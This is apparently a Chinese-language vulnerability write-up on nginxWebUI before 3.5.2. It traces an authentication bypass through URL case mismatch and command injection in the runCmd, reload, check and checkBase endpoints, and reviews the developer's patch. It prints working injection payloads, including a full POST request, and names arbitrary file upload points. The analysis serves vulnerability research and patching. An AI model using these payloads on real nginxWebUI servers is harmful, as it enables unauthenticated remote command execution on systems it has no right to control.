
nginxWebUI是一款圖形化管理nginx配置的工具,能通過(guò)網(wǎng)頁(yè)快速配置nginx的各種功能,包括HTTP和TCP協(xié)議轉(zhuǎn)發(fā)、反向代理、負(fù)載均衡、靜態(tài)HTML服務(wù)器以及SSL證書(shū)的自動(dòng)申請(qǐng)、續(xù)簽和配置,配置完成后可以一鍵生成nginx.conf文件,并控制nginx使用此文件進(jìn)行啟動(dòng)和重載。nginxWebUI后臺(tái)提供執(zhí)行nginx相關(guān)命令的接口,由于未對(duì)用戶的輸入進(jìn)行過(guò)濾,導(dǎo)致可在后臺(tái)執(zhí)行任意命令。并且該系統(tǒng)權(quán)限校驗(yàn)存在問(wèn)題,導(dǎo)致存在權(quán)限繞過(guò),在前臺(tái)可直接調(diào)用后臺(tái)接口,最終可以達(dá)到無(wú)條件遠(yuǎn)程命令執(zhí)行的效果。
nginxWebUI < 3.5.2
url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx
漏洞定位:
根據(jù)gitee的更新歷史https://gitee.com/cym1102/nginxWebUI,尋找開(kāi)發(fā)者關(guān)于此漏洞的更新情況。
以3.4.6版本為例,反編譯其jar包:
根據(jù)poc搜索/adminPage/conf,定位到路由:
\com\cym\controller\adminPage\ConfController.class 44行

然后根據(jù)poc的參數(shù),找到runcmd方法
\com\cym\controller\adminPage\ConfController.class 274行

定義了一個(gè)runCmd方法來(lái)處理用戶輸入的命令并執(zhí)行。根據(jù)輸入的type參數(shù),調(diào)用settingService的set方法進(jìn)行設(shè)置。然后使用RuntimeUtil類來(lái)執(zhí)行命令,如果是Windows系統(tǒng),則使用"cmd /c start"來(lái)執(zhí)行命令,如果是其他系統(tǒng),則使用"/bin/sh -c"來(lái)執(zhí)行命令。最后,根據(jù)執(zhí)行結(jié)果返回相應(yīng)的JsonResult。
這里可以對(duì)cmd參數(shù)進(jìn)行拼接,操控拼接的命令進(jìn)行命令執(zhí)行。
同理定位 runcmd方法:\com\cym\controller\adminPage\ConfController.class 274行

增加了一個(gè)replaceAll方法:

效果是對(duì);’ \\| //{ //}
對(duì)這些符號(hào)做一個(gè)轉(zhuǎn)義替換 、且cmd參數(shù)中要存在“nginx”字段
構(gòu)造payload:
http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx
即 calc&&nginx
3.4.8升級(jí)框架為solon2

3.5.2開(kāi)發(fā)者對(duì)漏洞進(jìn)行了更新

根據(jù)gitee的版本對(duì)比,定位到:
src/main/java/com/cym/config/AppFilter.java

加了一個(gè)過(guò)濾器,用于對(duì)請(qǐng)求進(jìn)行過(guò)濾和攔截。首先,它檢查請(qǐng)求的路徑是否包含特定的文件夾(如/lib/、/js/、/doc/等),如果不包含,則調(diào)用frontInterceptor方法進(jìn)行處理。接下來(lái),它再次檢查請(qǐng)求的路徑是否包含/adminPage/,如果包含且不包含特定的文件夾,則調(diào)用adminInterceptor方法進(jìn)行處理。最后,如果adminInterceptor返回false,則將請(qǐng)求設(shè)置為已處理。

但是在path().toLowerCase()將路徑轉(zhuǎn)換為小寫(xiě),第二個(gè)if下沒(méi)有將路徑轉(zhuǎn)化成小寫(xiě)。
可以在此進(jìn)行大小寫(xiě)繞過(guò)。
\com\cym\controller\adminPage\ConfController.class 316行


定義了一個(gè)私有的isAvailableCmd(String cmd)方法,通過(guò)switch語(yǔ)句,根據(jù)cmd的哈希值進(jìn)行匹配,判斷cmd是否和預(yù)定義的命令匹配。匹配成功則返回true,即命令可用。
相當(dāng)于徹底寫(xiě)死,只執(zhí)行預(yù)定義的、與nginx相關(guān)的命令,而不是其他命令。
拋磚引玉:
寫(xiě)完這篇文章后看到了白給師傅的poc補(bǔ)充,他補(bǔ)充了關(guān)于此漏洞的另外幾個(gè)命令執(zhí)行點(diǎn),和文件上傳點(diǎn),非常牛逼,值得思考和學(xué)習(xí)。
大佬文章:
https://mp.weixin.qq.com/s/oKsR7bm3tleJIS675Qt0RA
補(bǔ)充:
命令執(zhí)行點(diǎn)1
com.cym.controller.adminPage.ConfController#reload()方法
Payload
http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C
命令執(zhí)行點(diǎn)2
com.cym.controller.adminPage.ConfController#check()方法
Payload:
POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 151
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
Connection: close
nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers
命令執(zhí)行點(diǎn)3
com.cym.controller.adminPage.ConfController#checkBase()方法,此方法從設(shè)置中獲取nginxExe nginxDir兩個(gè)屬性后拼接到命令再造成命令執(zhí)行漏洞
payload
//第一步設(shè)置屬性
http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a
//第二步執(zhí)行命令
http://localhost:8080/AdminPage/conf/checkBase
任意文件上傳1
com/cym/controller/adminPage/MainController.java
任意文件上傳2
com/cym/controller/adminPage/ServerController.java